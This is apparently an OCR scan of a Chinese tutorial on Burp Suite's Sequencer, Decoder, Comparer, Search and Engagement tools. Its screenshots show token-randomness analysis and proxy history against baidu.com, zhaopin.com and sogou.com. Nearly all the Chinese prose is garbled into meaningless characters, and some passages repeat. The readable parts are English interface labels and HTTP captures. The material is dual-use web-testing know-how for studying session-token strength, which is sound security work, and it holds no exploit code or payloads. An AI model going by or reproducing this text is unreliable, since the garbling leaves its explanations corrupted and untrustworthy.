BkFE4EH] (Follow redirections)  3X /M il = 22 H T4 Burp J& 75 H hFREE AR 55 25 v 1F
i SR, LIRSS IR BRRAS Dy 302, & 75 R N A Bk AL 2 302 481411 url Hudk .
BA 4 AR, R (Never) , i BkE: (On-site only )  Hbnisk Bk
(In- scope only) . GHZ&BLE: (Always) , kK ABEE: . GBI B, hH
B 48 AT R s N Bk H bRIBkES 2 18 target scope H T B AT LBk 5

Bk#L kb Cookie (Process cookies in redirections ) iXANEmitn kb, MILE Bk
FEd ¥ B ) Cookie 158, Bowl BIBkEE4R 1A 1 URL T, A PAREATHEAS .

LR (View) IXANEDRZ k%] Repeater 141 EIAF 5
HAtEEAE (Action) 7750, 451 Burp 1A T B A+,



F1+= A H Burp Sequencer

Burp Sequencer {25 Burp Suite 1 — K FH TR AR AL AR 2 1) T B, 8% TR
i AU AT, i E S SRS TN 5, @il Sequencer BIEIRFEA 5 HT,
AE IR U M PR IX L S B B e N IE I XU o A RAT R E XS NS A

Sequencer fi ] 22 1%
AL E (Options)

Sequencer 1 25 1%



Burp Sequencer {EN—KBENLE A0 TR, EoH i EY, nlaea X RGuiE Al Hie
1) s, EARANRIEE AR RAMBN T, @UCREEAREIHATEE 2. ErfEH
IR KAWL %, #iA Burp Suite 235 IEHf, JFRCE LR, EWET. 2.4
Burp Proxy (075 HE %, F4L token BRI S, REATHFH LR CER, S

[ Sendto Sequencer] .

[Target TPro_xy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder TComparer T Extender I Options TAIens TBradamsa ]

Intercept I HTTP history I WebSockets history TOptions ]

I Filter: Hiding CSS, image and general binary content

# AI Host Method | URL | Params | Edited | Status | Length | MIME type | Extension
829  http:/home.baidu.com GET Iresource/rhomeffash.js ] 200 1218 script is
832  http:/home.baidu.com GET Iresource/rhome/banner.swf O O 200 13300 flash swi
842  hitp:/home.baidu.com GET finddata.xml O O 200 1278 XML xml
848  hitp://hm.baidu.com GET /h.js?b9a77820b2fa17d7223b50a... @ O 200 23459  script js
849  http:/home.baidu.com = [] 200 6264  HTML html
854  hitp:/hm.baidu.com http:/home.baidu.com/product/product html [ 20 23459 script s
859  hitp://se.360.cn ~ Addto scope [J 200 2624 text ini
861 http:/iwww.baidu.com Spider from here o 200 49697 HTML

863  hitp://www.baidu.com Do an active scan ™ 200 10475  script i
864  http:/hm.baidu.com Do a passive scan O 200 23459  script is
< Send to Intruder Ctri+l —

Send to Repeater Ctr+R
Request | Response
Send to Sequencer

_[ RawT Headers I Hex T HTML| Sendto Comparer (request)
HTTP/1.1 200 OK Send to Comparer (response)

Date: Sat, 07 May 2016 12:01; Snow response in browser

Server: Apache/2.2.31 (Unix) | Reauestin browser >
Last-Modified: Mon, 28 Mar i Engagement tools >
ETag: "ea05b3-1779-52f1695 Show new h|st0ry window

Accept-Ranges: bytes
Content-Length: 6009
Connection: close
Content-Type: text/html

Add comment
Highlight >
Delete item

LD Ida e




3.4t \ Burp Sequencer [¥) Live Capture iRk, &R &g kiids, s [Configurel
Bt & 75 04T 1 token B E 4

[Target T Proxy T Spider T Scanner T Intruder TRepeater TSequencerT Decoder T Comparer T Extender T Options TAIens T Bradamsa ]

J Live capture T Manual load TAnaIysis options ]

@ Select Live Capture Request

Send requests here from other tools to configure a live capture. Select the request to use, configure the other options below, then click "Start live capture™.

[ Remove J #

| Host

Request

A

Clear g

| http:/ihome.baidu.com

GET /product/product.html HTTP/1.1Acce...

)

Cookie

Form field

AEM S B E R AE T, B,

Start live capture

Token Location Within Response

Select the location in the response where the token appears.

@ Custom location: From [\nETag: "] to ["r\nAccept-]

Configure
sy [OK] &4, ERSHLE.



E Define custom tok

?' Define the location of the token within the response. Selecting the item in the response panel will create a suitable configuration
automatically. You can also modify the configuration manually to ensure it works effectively.

- [/] Define start and end + r [] Extractfrom regex group -
@ Start after expression: \nETag:” \nETag\: *(:*?)"WinAccept-
(_) Start at offset: 137 J| Case sensitive
(® End at delimiter: “rnAccept-

(_) End atfixed length: 25

[] Exclude HTTP headers [¥] Update config based on selection below Refetch response

HTTP/1.1 200 OK A
Date: Sat, 07 May 2016 12:01:26 GMT
Server: Apache/2.2.31 (Unix)

Last-Modified: Mon, 28 Mar 2016 07W
I ETag: "ea05b3-1779-52f1695e2ad80

Accept-Ranges: bytes
Content-Length: 6009
Connection: close
Content-Type: text/html

<IDOCTYPE HTML PUBLIC *-//W3C//DTD HTML 4.01 Transitional//EN"
"httpy//www.w3.org/TR/htmid/loose.dtd”>
<html>

' 2 < + > Type a search term 0 matches
] u u 5

[ OK J [ Cancel j

9
v

5.4 [Select Live Capture] , JFUA#E4T S BUE HIFKEL .

6. LIMHL S HE M BT 100 i, A7 [pause] 2% [stop) , X ] LA#EAT H3E 0 #,
A [Analyze now]) E[EEATE0E K BEALIE 2047 .



E Burp Sequencer [live cap

@ Live capture (stopped) [

Pause Copy tokens Auto analyze Requests: 524

Stop L Save tokens J [ Analyze now J Errors: 0

Summary TCharadeHevel analysis | Bit-level analysis TAnaIysis Options ]

Overall result

The overall quality of randomness within the sample is estimated to be: extremely poor.
At a significance level of 1%, the amount of effective entropy is estimated to be: 1 bits.

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on all tests. Each significance level defines a minimum
probability of the observed results occurring if the sample is randomly generated. When the probability of the observed results occurring falls
below this level, the hypothesis thatthe sample is randomly generated is rejected. Using a lower significance level means that stronger evidence
is required to reject the hypothesis that the sample is random, and so increases the chance that non-random data will be treated as random.

=10%

=1%

Significance level
=0.1%

=0.01%

7T AR, AT U B 70 A 25 R A R

<t




E Burp Sequencer [live capture #¢

@ Live capture (stopped) [ !

Pause Copy tokens Auto analyze Requests: 524

Stop [ Save tokens J [ Analyze now J Errors: 0 |

Summary | Character-level analysis I Bit-level analysis ] Analysis Options ]

[ Summary T Count TTransitions TCharaderset ]

A
Character Set
The chart shows the size of the character set used at each position. This number is the count of different characters that appear at each position
within the sample data.
2 -
_/
1 -
N
0 E
= e

8244k, MBI LSRR GRAF R, T AN %, MCCHEIIAR S8, HE T 80

I3MTe a0 EORAEHE
‘icl Burp Sequencer [live capture #6: hﬁp:/mome.Midu.corrT]— E‘M

@ Live capture (stopped) [

Pause Copy tokens Auto analyze Requests: 524
Stop ; Savetokens} [Analyzenowj Errors: 0

Summary I Character-level analysis IBit—level analysis IAnalysis Options ]

I [ Summary T Count TTransitions TCharacter set ]

0. I IS, BN E A BEAT o MBI



[Target T Proxy T Spider T Scanner T Intruder TRepeater T Sequencer I Decoder T Comparer T Extender T Opti

l Live capture | Manual load IAnalysis options ]

@ Manual Load

This function allows you to load Sequencer with a sample of tokens that you have already obtained, and then pel

Analyze now

Tokens loaded: 116
Shortest: 10
Longest: 44

1 Paste 074328226efd733313d6a220223b3588 E
15535bb3e0a90f563d8695820150af57

Load.. | | 19fdf347b4401a8f5d4bf18b36f08d32

——— | 206371b754b7394c91bb27c2174ec2ce W,
&J 2e2715a4b2e46624aca13c7acfe80cdf
358e66978d970fecd3e5388614104f14
386d13d9513456¢73e6b9841eddcaf6b
3b6ac74b1eb2c9d874fabbd3b434f3c7
67b0dddc4b4a3d57bd4ffa7f834aa96f
78227278a1af577d197550829854b18f
8913adf4a071cfba398dd8b4b8b4406b
8ec78ccdcecebfaasebd21d30673db2d
9d4fe1f664dd5fa9c348aa1a6c35abf6
a28b94daeb93d1aad3e8a07f9bb08561
bd5168d501e967597bf6d8bd7eebef2a
be6ebe1a6147726ac71d723a25cf14b6
c67f5ac8f9chb2d02e9e64603627173d1
Cc785416f2af6121bd1a575ac050ca34c
Cc7c76619cfe868795e1e7a210dcd8591
d0fa591b4a8b9bac5a39597af86042963 r'

A[IETREE (Analysis Options)

AYMTRTETGE E A B B EEE N T token BUE S, T EIE R, BT
QRERIANEE, DL 2RI BENLYE AT . B E RS (Token Handling) F14- i
4y M1 (Token Analysis) #5744



LAt Token Handling = £ & ARG A R g gl 22, e e B A an ~

K]

[ Live capture I Manual load TAnaIysis options ]

? | Token Handling

&\ These settings control how tokens are handled during analysis.

Pad shorttokens at. (@) Start () End

Pad with (single character or 2-digit ASCIl hex code). 0

| | BaseB4-decode before analyzing

FiR 228
H Pad short tokens at start / end 740 58 HFE 7 72 AR 1A LR B AT AR BEY, T
LIR B SRR AT T A A A TS, DME T TR R L . R DUE R R IE A
EH AN BN LG RA B . fERZHIEN T, EH G EER S REGE. Pad
with ZRRe] DR ¥ H T AWM 5. ERZEUEH T, T8 ASCI TSl gm il
) AR, H“0"HE TR EiEN] . Base64-decode before analyzing Fon7EEdE 70 #r /&
% T base64 fiF#rY, WRAMAEH T base64 Jnfid1if, T E AL

LM Token Analysis 2R P M #EAT RENLIE D T R, JATAT AL H%
Z Ao ir IR, AT DU ] B EE A AR AR SR RO AR . AR, AT
58 MBrA M BT e, BEEM LS8R, DARESE A - 1 4 Ry
s B B PR A R IR AN TR 1R . R E S IR

‘[7j Token Analysis
& The options below control the types of analysis that is performed at the character level.

(/] Count
(/] Transitions

The options below control the types of analysis that is performed at the bit level.

(/] FIPS monobit  [V/] Spectral

(/] FIPS poker (/] Correlation
(/] FIPS runs (/] Compression
(/] FIPS long run

Forp b T PR A e T 4 1 B0 A B - A7 R 2, BB Count H1 Transitions. Count 72
f& e A RN B B RF 0 A, an SR BN BURIREAS, it 55 1) 70 A
IRAT e REISSIN . RN E B St S BENL™ A 1 7 A IR 2R . oo i 5 K
= HR:



L b T A 3 TR 3 1 B AT P E R RS, e 407 Count Al Transitions. Count &
18 OHTEL A R LB 7 B A, AR RN REAS, BT 545 1) 20 A
RAT A KRB SN AR E o trgeih &AL £ oA R . o drai R I
KU FPIR:

Summary |‘,{ChalacteHeve! analgs;sI Bit-level analysis TAna!ysis Options ]

[Summary 1 Gount.TTransitions T Character set ]

Character Count Analysis - Significance Levels

100% A

10% A

1% 4

0.1% A

0.01% -

0.001% -+

=0.0001% -~

01 2 3 4 5 6 7 8 9 10111213 141516 17 18 19 20 21 22 23 24

Character position

Transitions fE45 7 HTAE dh S T IBESERT 5 2 18] 030 . WRGEREALZE CAE B —
AN TE AL B 75 e [ R T REIE I AE AL LA FH A7 TR AR — TR R — MR S e
AL AERFMLE EGETH T EENL ARSI MR . LT AR R IR s



NI LI B R e A 0 I, R R R R R K. A
Zooptref, RSP AL Y, SR E AR AT ALE I AT RN GRE [ ELARF
B e ISR LU LR

FIPS monobit test——"E Mk #7 0 F1 1 RN ELRR AL B 0 EE,  n F 2 BENLA BOTIRE A,
1 A1 0 FEEAR T RE S KB4 . Burp Sequencer g s AN B i 2 ¥E T FIPS 36
M. ESEREMAZ, FIPS B IE U TE AR e A A2 20 20000 Mo W SR AR Ay B2 3R15 1)
45 51 FIPS UG —FE 4% AR E,  VRIZA Gk ) 20000 N2 RRIFEA . o prat BRI
KWT FR:

[ Summary T Character-level analysis | Bit-level analysis

Analysis Options ]

FIPS runs test T FIPS long runs test T Spectral tests T Correlation T Compression T Bit conversion

Summary FIPS poker test

FIPS Monobit Test - Significance Levels

100% -

10%

1%

0.1% -

FIPS pass level

0.01% A

0.001%

=0.0001% -

FIPS poker test—— ZIibHE | ARSI I AELG . SFERIOHAL, S Sk 4
A M VAR L 16 A TTARET HVCR, IER-R T KRR 040 . R
FERRBEVE R, A0 04T RE R 5900 . AEREMRLE b, BT R,
SPHT 4 MR BERL A RO A OB . SLAMHT A R 2 T



51Z% FIPS I —#F /4% (bR e, IRMLZAHRIEE] 20000 D2 RHIFEA . Hatras REER D
N Fw:

[ Summary T Character-level analysis

Analysis Options ]

FIPS runs test T FIPS long runs test T Spectral tests T Correlation T Compression T Bit conversion

Summary FIPS poker test

FIPS Monobit Test - Significance Levels

100%

10%

1%

01%

FIPS pass level

0.001%

=0.0001%




FIPS runs tests K B A RME 22 1 LR 7 IR B — N B AT R 7 B, 4R
EitESE - NERMKENL, 2, 3, 4, 5, 6L 6LLE. WS EREIAERLK, BA
XL B i FEAR T RS R AER R/ E VG 2 N . fERANLE b, Rz i s,
A 524 R R BEHLAE IORORE SR o LA Br 45 R W R PR

| Analysis Options ]

[ Summary T Character-level analysis | Bit-level analysis

Summary T FIPS monobit test T FIPS poker test

JNI FIPS long runs test T Spectral tests T Correlation T Compression T Bit conversion

FIPS Runs Test - Significance Levels

100% -

0.1% A
0.01% A
FIPS pass level

0.001%

=0.0001%

0 1 2 3 4 5

FIPS long runs test —— X /MMIHCKE A AH [RIE 1 22 1) EURe P B AE B — M B AT R 25 1k
B, Guit KB WS SR BEALA B, B i B B AR v R FRRE AR AR (1 K/ i fif
EREEZ N TERMIE b, AL, WA RN A s B R . JL
ST al RIER W PR



[ Summary ICharacter—leveI analysis Mﬂalysis Options ]

[ Summary T FIPS monobit test T FIPS poker test
S FIPS long runs test T Spectral tests T Correlation T Compression I Bit conversion

FIPS Runs Test - Significance Levels

100%

10% 7

1%

0.1% -

0.01%

FIPS pass level

0.001%

=0.0001% -




RERABENL . R E, [T, WES MR A IR . s
RER LN P

[ Summary T Character-level analysis | Bit-level analysis

Analysis Options ]

Summary I FIPS monobit test | FIPS poker test
FIPS runs test T FIPS long runs test >

Correlation T Compression I Bit conversion

Spectral Analysis - Significance Levels

100% -

10% A

1%

0.1% -

0.01%

0.001%

=0.0001% -

0 1 2 3 4 5

Correlation test ——HEUEAM B AT A [FE 1) 2 TR A 5 8 — A B 2 A AN [FE I 54
FEAR Z A1, CAIIRAE 4 REL P 358 AN TR (0 LR B P B 2 TR R e i 22 R R R .
SFE SR LA B, FE5 8 B LUREA B AR R MEL 2 [RIFE v] REFEBE A — DBl — AN R H
PRI E . TERANIE b, MR H 7, SR A LA A T RerE . A T B IR T



FIBERARRENLET . EREALE, MR T I, MR R REN LR B . Al
RERWT -

[ Summary I Character-level analysis | Bit-level analysis

Analysis Options ]

Summary T FIPS monobit test T FIPS poker test

Correlation T Compression T Bit conversion

FIPS runs test T FIPS long runs test

Spectral Analysis - Significance Levels

100% -

10% A

0.01%

0.001%

=0.0001%

0 1 2 3 4 5

Correlation test ——CEAREANM B A M R 12 REFEA 58— AN B 2 A AN [FE 5 A h
FEA Z TR0, LADIRAE A R0 Y A AN [R] ) R B PR O 2 TR AT B i 2 B e R
TRE SR BEALA BRI, 7EZh 2 I LR AL B AL A 2 RIAE T REAERE S — N E— AN BRET M e
PP E . ERAIE L, R T, WA R BENLA I T REME . D T B IRAT



[ Summary TCharacter-level analysis | Bit-level analysis

Analysis Options ]

Summary [ FIPS monobit test | FIPS poker test

'a ~

FIPS runs test FIPS long runs test Spectral tests T Correlation

Bit conversion

Bit Compression Analysis - Compression Ratios

=0.1% compressed

1% compressed

10% compressed

100% compressed -

AR K& 2 BCFAR AT ENR, 75 R A s A R v BT R RKCT R BR 1 AT RE S A7
W, WISAA A H T, WG Kk R F] todata@hotmail.com, 26 B R LIRSS 1F .



%+ —& W H Burp Decoder

Burp Decoder T AE EL BT 8, 1E 9 Burp Suite 1 — @k gmid i T B, B RExT F G B T
% FhgmidA% SRR e, AW TR, REREA. fHiR. DML L I — K
Iy

i NS R0 N 75 BT () IR AR 208, AL PT DA BRE S BRGNS, ] DU A Burp T H [
R 3E R [Send to Decoder] ;5 %t 3 RIS 4 A IRBEA T RIS 0 45 SR R SR . TEiR 2
NI A2 5 A SR SCAR S Hex g X, Horhgmfd gk ik, Hf#igiEDi (Decode
as). ZwmidikIi (Encode as). 14 (Hash) =AML, SZhrfd b, af DIRHE IS 500 7 2k
ITWHE . ST omigfinmik, HAjsZHEF URL. HTML. Base64. ASCII. 16 ik, 8 i, 2
#l. GzIP )\ P pukg N, Hash #7532 HF SHA. SHA-224, SHA-256. SHA-384.
SHA-512, MD2. MD5 #& X4k, SHEEMNE, X TH—MEdE, AT LLE Decoder 1
S, BT 2 IR GRS . a0 B TR

Burp Intruder Repeater Window Help

Target | Proxy | Spider ScannerTlmruder TRepeater T Sequencer IDecoder I Comparer TEx\ender T Options | Alerts

| @® Text () Hex @
Decodeas..  |v]
Encodeas.. v
Hash..  |v]

{ Smartdecode |

®) Text Hex
o

[ Decode as ... v
[ Encode as ... v
[ Hash ... v

Smart decode

@® Text () Hex
Decodeas.. |,
Smartdecode

111010001010100010111111101001011010a100001101010101111011101101000a1000000010100001000001001010010101000000a100d10011001010110101a10100001000011000000110111| @ Text () Hex

e / e

bE9qTjVHRXJQOUIRW|MxQzU3SWdBZz09

62453971546a564852584a5141553952576a4d78517a5533535764425a733039







-+~ W H Burp Comparer



Burp Comparer 7£ Burp Suite H 3= Z42 it — AN AT AL 22 5 LU X DIRE, RN LU 43 B I I 24
Z XA SRR RT R LMEEH P AR, X b b s AR
IR 55 5 o S R A5 X . 2.8 Intruder #HAT IR, SRR RS AR N, A] LR
PRE AT R Ve S B X B AE R B . 3.3E4T SQL VENFI B RS, B vk B 3 J2
Z5t, AWM SR SIEAFAR RS R AT A

W Scanner | Intruder | Repeater | Sequencer | Decoder [ Comparer | Extender | Options Tm]

Comparer @

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.

Selectitem 1:
# | Length | Data [ [ Paste |
Load |
" Remove
. Clear
Selectitem 2
# | Length | Data

Compare ..




Xt F Comparer [FffH, FEEW AN THR, L2 TFEME, REkERDI.
Comparer ¥l #7208 A : WA Burp T H@ E R SRR R R, Bk
Wiy MSCHFE I 3 =M a0 2ngkse s, mRARIER T W IRAFIE RN EHEE, T
R LC I M A B, T DA SO A B - b, N A

E  Burp Suite Professional v1.6beta - licensed to LarryLau . oD e
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner Tlntruder T Repeater T Sequencer TDecoder T Comparer I Extender T Options | Alerts

Comparer

&

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then selectthe comparison you want to perform.

Selectitem 1:
# | Length | pata [ [ Paste |
3 1111 GET http:/iwww.zhaopin.com/ HTTP/1.1Host: www.zhaopin. TOXY- ion: keep-aliveCache-Control: g pt: text/html,ap... —~
4 137079 HTTP/1.1 200 OKServer: nginxDate: Tue, 03 May 2016 08:00:38 GMTContent-Type: texthtmIProxy-Connection: keep-aliventCoent-Length: 1... Load
Remove
Clear
Selectitem 2:
# | Length | Data
3 1111 GET http:/mww.zhaopin.com/ HTTP/1.1Host. www.zhaopin.comProxy-C ion: keep-aliveCache-Control: ge=0Accept: text/html ap...
|4 137079 P

| HTTP/1.1 200 OKServer: nginxDate: Tue, 03 May 2016 08:00:38 GMTContent-Type: texthtmiProxy-Connection: keep-aliventCoent-Length: 1... |

Compare ...

_ oes |
R AL T [words) 8¢ [bytes] , NIHEALLXT S, T E 3@ 5 EUE B R EHE
E5F. WHK:

Hor, SCORHE (words) s4giEit AR A, it bl HTML 73R, B AN R il %=
S MFEHE (bytes) &g 16 #EHIEA, HEHKAERNER. W REFEZR TR
AN[E]) 9 B AR o



Length: 1,111 () Text @ Hex Length: 137,079 () Text @ Hex

0 47 45 54 20 68 74 74 70 3a 2f 2f 77 77 77 2e 7a GET http/iwww.z A 0 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1200 OK A

1 68 61 6f 70 69 6e 2e 63 6f 6d 2f 20 48 54 -50 haopin.com/ HTTP 1 0a 53 65 72 76 65 72 3a 20 6e 67 69 Ge 78 0d Oa Server.nginx

2 2f 31 2e 31 .Ua 48 6f 73 74 3a 20 77 77 77 2e [M.1Host www. 2 44 61 74 65 33 20 54 75 65 2c 20 30 33 20 4d 61 Date:Tue, 03 Ma

3 7a 68 61 6f 70 69 Be 2e 63 6f 6d.0a.72 6f zhaopin.comPro 3 79 20 32 30 31 36 20 30 38 3a 30 30 3a 33 38 20 y201608:00:38

4 78 79 2d.5f 6e 6e 65 63 74 69 6f 6e 3a 20 6b xy-Connection:k 4 47 4d 54 0d 0a 43 6f 6Ge 74 65 be 74 2d 54 79 70 GMTContent-Typ

5 65 65 70 2d 61 6c 69 76 65-03 43 61 63 68 65 eep-aliveCache 5 65 3a 20 74 65 78 74 2f 68 74 6d 6¢c 0d O0a 50 72 e:texthtmIPr

6 Zd-EI 6e 74 72 6f 6C 3a 20 6d 61 78 2d 61 67 -Control: max-ag 6 6f 78 79 2d 43 6f 6Be 6e 65 63 74 69 6f 6Ge 3a 20 oxy-Connection:

7 65 3d 30.03 41 63 63 65 70 74 3a 20 74 65 78 e=0Accept tex T 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 6e 74 43 6f keep-aliventCo

8 74 2f 68 74 6d Sc-61 70 70 6c 69 B3 61 74 69 thimlapplicati 8 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 36 37 entlength: 1367

9 6f 6e 2f 78 68 74 6d 6¢ !78 6d 6¢c 2c 61 70 70 onixhtml+xmlapp 9 32 34 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 24Last-Modifie

a 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c.71 3d 30 licationxml;q=0 a 64 3a 20 54 75 65 2c 20 30 33 20 4d 61 79 20 32 d:Tue, 03 May2

b 2e an 69 6d 61 67 65 2f 77 65 62 70 2c HZY .9,imagefwebp,*/ b 30 31 36 20 30 38 3a 30 30 3a 30 33 20 47 4d 54 01608:00:03 GMT

¢ [2& 3 71 3d 30 2¢ [38N0ENN 0a [B5] 73 65 72 20 41 67 *q=0.8User-Ag c 0d 0a 45 54 61 67 3a 20 22 35 37 32 38 35 61 38 ETag"57285a8

d 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 ent Mozilla/5.0 d 33 2d 32 31 36 31 34 22 0d 0a 41 63 63 65 70 74 3-21614"Accept

e 20 28“69 Be 64 6f 73 20 20 36 2e 31 (Windows NT6.1 e 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a -Ranges: bytes

f 29 20 41 70 70 6¢ 65 74 2f 35 33 )AppleWebKit/53 f 43 61 63 68 65 2d 43 6f Be 74 72 6f 6c 3a 20 6d Cache-Control m

10 37 2e 33 36 20 28 20 6¢c 69 6b 7.36 (KHTML, lik 10 61 78 2d 61 67 65 3d 39 30 30 0d 0a 45 78 70 69 ax-age=900Expi

" 65 20-65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f e Gecko)Chrome/ " 72 65 73 3a 20 54 75 65 2c 20 30 33 20 4d 61 79 res:Tue, 03 May

12 33 31 2¢ 30 2¢ 31 36 35 30 2 36 33 20-61 66 31.0.1650.63 Saf 12 20 32 30 31 36 20 30 38 3a 31 35 3a 33 38 20 47 201608:15:38G

13 61 72 69 2f B33 37 2¢ 33 36-03 41 63 63 65 ari/537.36Acce 13 4d 54 0d 0a 53 65 72 76 65 72 3a 20 31 37 32 2e MTServer 172.

14 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 ptEncoding: gzi 14 33 30 2 32 2¢ 32 35 0d 0a 43 6f 6e 74 65 6e 74 30.2.25Content

15 70 2c 64 65 66 6c 61 74 65 2c 73 64 63 68 -Oa p.deflate,sdch 15 2d 4c 65 6e 67 74 68 3a 20 31 33 36 37 32 34 0d -Length: 136724

16 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a AcceptLanguage: 16 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d <IDOCTYPE htm

17 20 7a 68 2d 43 4e 2c 7a 68-71 3d 30 2e 38- zh-CN,zh;q=0.8 17 6c 3e 0a 3c 68 74 6d 6c 3e Oa 3c 68 65 61 64 3e I=<html=<head>

18 0a 43 6f 6f 6b 69 65 3a 20 64-77 65 7a 3d 39 Cookie: dywez=9 - 18 0a 3c 74 69 74 6c 65 3e e6 8b 9b e8 81 98 5f eb <ttle>mweé "_az -

19 25 .73 34 21 3032 33 2% 21 34 3R 32 32 3/ 22 30 HRA19232 14R22620 ¥ 19 h1 82 2 81 8¢ Af e 8Q  he e h7 af pA hd Qr Bf + & ® maYA-Xave X
¥ syncviews




S =5 Bl B PO R T R R A

R — 80+ AN ENRES, AN BurpSuite FIFREAE I 4 AR G, MiX—#
PG, FeAlTHEN BurpSuite B IhAERIE .

BurpSuite =2t DIREE A AN R b EEAEPEP R, —R3RE, H— N RATHFRN

Engagement tools.

|Burp Intruder Repeater Window Helpl

et | Proxy I Spider T Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Options TAlerts T Bradamsa ]

Infercept T HTTP history IWebSockets history T Options ]

l Filtgr: Hiding CSS, image and general binary content

# | 4| Host | Method | URL | Params | Edited | Status |Length |MIMEt... | Extension | Title
=z Ty O P ToTT o C TR Prp I COT T -~ e T T e
30/ http:/finfo_pinyin.sogou.com GET fime_push/sgse_ad/sgse_s al_... [ 200 2402  HTML php EN*EaEs~

33 http://ping.pinyin.sogou.com GET /2010¢
34 http://ping.pinyin.sogou.com GET /getxir]
35 http://ping.pinyin.sogou.com GET /pingb:
36 http://ping.pinyin.sogou.com GET  /pingbj Spiderfrom here

http://ping.pinyin_sogou.com...B98685D1521D77628B6F459302E7C
Add to scope

37 http://down.3lsoft.com GET /help/d Do an active scan i
38 http://tj5.3lsoft.com GET lysqdq Do a passive scan

39 http://config_pinyin.sogou.... GET /apifto| Send to Intruder Ctri+l  fp
40 http://tj5.3lsoft.com GET /servell Send to Repeater Ctrl+R

-

Send to Sequencer

Send to Comparer (request)
Send to Comparer (response)
Show response in browser

Request in browser

>
IS 2 [ 50ement tools \@ Find references

Show new history window Discover content
Add comment Schedule task
Highlight » | Generate CSRF PoC

Nalata itam

BAVEKREE B, 5 HEFHMECH EZEIEES 2 Burp. Intruder. Repeater. T [ 3£,
B — 5 ) SRR T Re .

Burp

Burp SCEA T AL & BE AL (Search)  AAHIRESIEAE . HAIRESIKE =55

=01 Intruder Repeater Window Help

Search bcanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options ]Alerts I Bradamsa ]

Save state : z
IVebSockets history I Options ]
Restore state

v

Remember settings general binary content

\ A

Restore defaults

Exit

| Method | URL | Params | Edited | Status |Length |MIMEt.. | Extension | Title
‘ prerrremprryeeged.cOM  GET  fime_push/sgse_ ad/sgse s_all_ ™ 0 200 2402  HTML php EN*EaEs




Btk (Search) ¥ &rfkThfe 12 Kk HPOE M R Target. Proxy. Repeater =>4
fF B SRR B A 2, A -

r‘ Burp Suite search LELM
Search Options Locations ~ Tools
sogou [J Case sensitive (] In-scope only () Request headers (] Response headers [ Target
[J Regex [J Dynamic update () Request body (] Response body M Proxy
Go (] Negative match (] Repeater
‘ Source | Host 4| URL Status | Length ‘ Time requested |
Target http://cdn2.ime.sogou.com  /sgim_picface_cloudkey_201604132023.bin 200 74078 19:44:28 6 758 2016 [&]
Target http://cdn2.ime_sogou.com  fyun_pack_utf8/yun_bbe7bb09cab86203f55d... 200 3656 19:39:07 6 758 2016
‘ Target http://config.pinyin.sogou.... /api/brandScd/getBrandScd.php?version=20... 404 184 19:42:41 6 758 2016
| Target http://config.pinyin.sogou.... /api/popup/lotus.php?h=0DF D1521D... 200 278 19:39:26 6 758 2016
Target http://config.pinyin.sogou.. pi 'h=0DF D1521... 200 303 19:40:19 6 758 2016
jTarget http://config.pinyin.sogou.. pdate_php?h=0DF D15, 200 177 19:44:26 6 73 2016
Target http://config.pinyin.sogou.... /picface/interface/CandBlackList.php?h=0DF... 200 320 19:44:28 6 758 2016
| Target http://config.pinyin.sogou.... /picface/interface/Si ellMap.php?h=0DF... 200 177 19:44:28 6 758 2016
Target http://config_pinyin.sogou.... /picface/interface/cell_update_yun_php?h=0... 200 525 19:44:28 6 758 2016
| Target http://config.pinyin.sogou.... /picface/interface/get_picface_label_list.php?... 200 177 19:44:29 6 758 2016 v
Request | Response
Raw | Headers | Hex
HTTP/L.1 404 Not Found 7
Server: nginx
Date: Mon, 06 Jun 201 11:37:38 GMT
Content-Type: text/html; charset=GBK
Connection: lkeep-alive
X-Powered-By: PHP/S.3.3
Content-Length: 0
4
? < + > | sogou 0 matches
Search completed 44 results




BAINBOLT, JBAFTHDIRe S ey, #2AS M. WERRATEE RAEM AN ST, Mt
[Gol 2 )5, TFHMIFIES ¥ EIE/RILEBIFIFTAHEE . BIAVLEE, ZMHTTP JH
B Hosty urly &R ESL, 15K Body. NZWHE k. NZHE Body 2L
Bl 7B 1EEEA Search MR, A = KELi5EE A T FRA T8 1 X B 1 2 o

Options F Z 42| 8 7L A 7 RANBHUR. AR, IENRERTE. 308 %E
. RIAULAC Locations FZEH Tl et =& AMTEH: 5RHE Bk, ERKIHE Body.
REEH Bk BEH S Body Tools 3 2 H T-#a i oot 744 2 1) Burp T HAH AR TEH
Target. Proxy. Repeater #Al] i#il Options. Locations. Tools =& HIH &, HEHERAM
HWRATGEN /. A, referer. &iE%EE. 298, Search MR AER T Burp
IR AL IEThRE, MFRAIIRBIEE RICOM HTTPYEE G, B L 2| Hahr T HH
e

Source | Host 4| URL | Status | Length | Time requestec ‘
Target http://config.pinyin.sogou.com /plcfacellnterface/CandBlackLlst php?h=0DFB98685D1521D77628B6F459302... 200 320 19:44:28 6 7<FA |
Target http://config_pinyin_sogou.com /p gouCellMap.php?h=0DFB98685D1521D77628B6F459302... 200 177 19:44:28 6 75
Target http://config. pinyin. i Ipicfa 525 19:44:28 6 75
SO D ComOpYIRatdon.comin http://config.pinyin.sogou.c.. 8&cellver=20150126[20160206]0 2]
Target http://config.pinyin.sogou.com /picface/| 177 19:44:29 6 75
Target http://config.pinyin.sogou.com /picface/| idinizcne 269 19:39:07 6 75
Target http://download. pinyin. S0Q0U eeeekRiGiags Itk ahicel il 322 19:44:29 6 75
Target http://download.pinyin.sogou... /picface/f Do an active scan 177 19:44:28 6 75
Target http://ime_sogou.com /pyup.gi i Do a passive scan 139 19:42:39 6 75
